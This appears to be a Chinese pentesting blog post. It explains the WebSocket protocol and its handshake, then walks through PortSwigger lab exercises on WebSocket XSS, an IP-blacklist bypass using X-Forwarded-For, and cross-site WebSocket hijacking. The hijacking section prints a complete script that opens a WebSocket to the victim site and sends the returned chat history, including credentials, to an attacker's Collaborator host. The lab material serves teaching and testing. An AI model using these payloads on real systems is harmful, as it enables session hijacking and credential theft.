【由浅入深_打牢基础】WebSocket的利用方式
![image-20220919091111362](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209190911735.png)
【由浅入深_打牢基础】WebSocket的利用方式
在最近的渗透任务中,有一个站我记得很清楚,我每次进它会进行websocket连接,返回的状态码是101,虽然每次访问都访问都会有这个websocket连接,这个东西在我学习网络的时候也了解过是什么,但是不太清楚有没有利用方式,所以研究一番
微信公众号:小惜渗透,欢迎大佬一起交流进步
1. 什么是websocket
1.1 socket和websocket的对比
socket:
首先来讲下socket,socket我倒是不陌生就是套接字吗,可以给它理解成一个API,是介于应用层和传输层中间被抽象出来的一层,因为传输层较为复杂,所以对传输层进行了一层封装,这样使用起来较为简单,在主流的开发语言中肯定都提供socket函数,记得之前大学的时候用套接字写过聊天类型的软件,而使用它一般需要提供协议,本地和远程的IP、端口。
websocket
HTTP在设计之初就是“请求-应答模式”,限制了TCP的能力,我们知道TCP是全双工通信,双方都可以同时给对方数据,但是HTTP只能是客户端发请求,服务器响应,而服务器不能主动发数据给客户端。
但是我们一些网站需要“推送”这种需求,服务器想达到能主动给客户端推送消息的目的,最开始解决这种办法是“轮循”的方式,也就是例如:一分钟客户端每隔10秒问一下服务器有没有新消息,服务器当然有两种情况告诉客户端没新数据,或者有新数据并把新数据告诉客户端,但是这种方式浪费资源,所以WebSocket就出现了。
![image-20220912090416485](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209120904518.png)
1.2 websocket的特点和应用
websocket具有以下特点
-
双方都可以主动发消息
-
WebSocket跟Http平级,都是应用层协议。
-
WebSocket跟Http一样也使用80或443端口,这样能绕过大多数防火墙的限制。
ws://example.com/wsapi
wss://secure.example.com/wsapi
-
WebSocket需要先建立连接(应用层的连接,需要利用HTTP,也可以看做升级)
-
H5中出现的,在前端用JS操作。
![image-20220912090555646](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209120905733.png)
websocket建立连接讲解
通常情况下websocket建立连接如下所示
![image-20220911175517487](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209111755618.png)
Connection
必须为Upgrade(这表示客户端希望连接升级)Upgrade
必须设置成websocket(声明想升级到websocket协议)Sec-WebSocket-Version
表示支持的版本(这里一般都是13)Sec-WebSocket-Key
是客户端生成的随机字符串
秘钥操作过程:
服务端接收到客户端的Sec-WebSocket-Key
后
- 将
Sec-WebSocket-Key
的值当做字符串后边加上一个固定的GUID - 将第一步里面生成的新的字符串进行SHA-1摘要计算
- 最后再将第二步计算后的值进行Base64编码
其实这样做的意义就是将其和正常的HTTP请求区分开来
2.websocket的漏洞利用
既然我们知道了websocket和利用了http协议,且端口相同,那么其实平时发生在HTTP协议中的web漏洞,也同样能够发生在websocket中。
2.1 Burp实验室演示漏洞利用过程
2.1.1 操纵 WebSocket 消息以利用漏洞
首先打开实验室,在历史的请求中并没发现websocket的痕迹,但是在主页中发现了live chat
在线聊天功能,一般socket都应用在聊天功能上
![image-20220911180917976](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209111809205.png)
为了方便我发现websocket的相关请求,我利用Burp的HaE
插件进行了标记颜色,如下图所示
![image-20220911210108213](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209112101246.png)
我这里点到聊天功能随便发送了两条信息,发现他们被展示到了前端,被td标签包裹,既然如此直接尝试构造xss
![image-20220911211116234](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209112111296.png)
发现<>
符号被实体化
![image-20220911211225821](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209112112846.png)
我们这里看一下历史,如下图发现它在发送之前已经被编码
![image-20220911211756522](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209112117564.png)
所以没关系,我们直接构造发包,但是这里不到为什么我构造最普通的<script>alert(1);</script>
它不会弹,那我这里用其它标签变通一下
![image-20220911212758369](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209112127391.png)
成功
![image-20220911212807542](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209112128562.png)
2.1.2 操纵 WebSocket 握手以利用漏洞
跟上一关一样尝试构造xss
![image-20220911213519654](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209112135689.png)
发现服务器直接断开连接
![image-20220911213700599](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209112137643.png)
既然把我的地址假如黑名单,那我们可能平时首先想到的是利用代理或者XFF头,所以尝试将XFF头改成127.0.0.1,又成功建立了websocket连接,为了绕过服务端的检查,我们可以各种尝试,那首先大小写
![image-20220911214815507](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209112148537.png)
直接成功
![image-20220911214830075](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209112148101.png)
2.1.3 跨站 WebSocket 劫持
既然http存在CSRF,那么同样的websocket也同样存在,那我们这里的思路如下图所示
![image-20220912091306441](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209120913495.png)
ok既然如此,那我们来进行漏洞利用,首先我们要知道WS的CSRF防御策略通常情况下有两种,一是验证Origin等字段,另外一种就是csrf令牌其实也就是我们熟悉的token,token的防御思路如下
- 用户登录后,后端生成一个随机的token值存放在session中
- 用户发送敏感请求携带token值
- 后端校验,并更新token
这样一来攻击者就无法获取到token的值,也就无法利用CSRF来利用用户权限进行相关操作
回到正题,我们在请求中未发现token字段并且我们将websocket的建立请求改变了Origin的值发现仍然可以建立连接,那很可能就是没有进行CSRF的防御
![image-20220911224049603](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209112240640.png)
首先我在聊天窗口发送了123,然后我们清空websocket历史记录,然后刷新页面,发现我们给服务器只发送了一个READY
的ws请求,然后服务器会将之前的记录还给我们
![image-20220911223537421](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209112235524.png)
那么这样的话,当我们可以构造一个利用页面,利用JS令访问的主机建立ws连接并且发送READY,并且用DNSLog带外的方式捕获信息,这样的话服务端就会返回信息给用户,那我们生成一个Burp Collaborator client地址
它就相当于DNSlog,点击copy to clipboard
![image-20220911224511672](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209112245751.png)
然后修改以下信息,将刚才复制的Burp Collaborator client地址和websocket的连接地址替换
<script>
//创建WebSocket并赋值给ws变量
var ws = new WebSocket('wss://websocket的连接地址');
ws.onopen = function() {
//当ws(WebSocket)处于连接状态时执行
ws.send("READY");
};
ws.onmessage = function(event) {
//当ws(WebSocket)请求有响应信息时执行
fetch('https://你的Burp Collaborator client地址', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
替换完后粘贴到body里面,然后点击Deliver exploit to victim
(这个按钮就是模拟用户点进了我们构造的恶意请求)
![image-20220911224642832](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209112246920.png)
然后回到burp多点几下poll now
,发现账户名和密码去进行登录然后就可以了
![image-20220911224824393](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209112248422.png)
成功
![image-20220911224923842](https://mc-imgup.oss-cn-beijing.aliyuncs.com/202209112249879.png)